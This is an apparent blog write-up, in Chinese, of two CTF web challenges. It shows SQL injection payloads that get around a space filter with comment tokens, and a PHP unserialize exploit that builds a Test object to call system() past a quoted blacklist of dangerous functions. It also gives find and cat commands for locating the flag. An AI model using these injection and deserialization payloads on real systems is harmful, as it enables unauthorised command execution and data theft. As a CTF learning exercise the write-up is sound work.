1.25

ctf.show_web7

首先打开题目

 

 然后点开if发现url地址上出现了?id=1

说明可能存在sql注入

于是我payload:

' or 1=1# 

然后得到了

sql inject error 

我推测可能是空格被屏蔽了,我单独打一个空格,发现也是得到上述情况。

于是我采用/**/来代替空格

然后进行联合查询:

-1'/**/union/**/select/**/1,2,3#

  回显了一个2

说明2是可以直接显示的位置,然后就继续联合查询直到查出flag。

[网鼎杯 2020 朱雀组]phpweb

 

 

 进入题目,出现了一个warning和一个时间,仔细翻译发现是函数警告。

然后查看源代码,源代码没有什么特殊的。

然后尝试采用bp抓包

 

 

 发现有个post提交的东西。

联系前面的warning所以推测可能前面的func可能表示的是函数,然后后面的p应该是里面的内容。

首先尝试用system函数

payload如下:

func=system&p=ls /

结果回显

 

   Hacker...

 我查到可以用file_get_contents函数来进行文件读取

所以我打算先查看一下原本的源代码:

payload:

func=file_get_contents&p=index.php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

从源代码发现system和passthru都是被屏蔽的,所以没法直接用系统指令,所以我想到了用serialize函数

构造代码

<?php
        class Test{
            var $p = "ls /";
            var $func = "system";
        }
        $b = new Test();
        echo serialize($b);
?>

得到

O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}

然后提交payload

 

 

 发现没有直接能找到

于是我把指令改成find / -name flag*再去找

然后找到的那个再用cat来读取就好了。

 

posted @ 2022-01-25 19:41  FPointmaple  阅读(101)  评论(0)    收藏  举报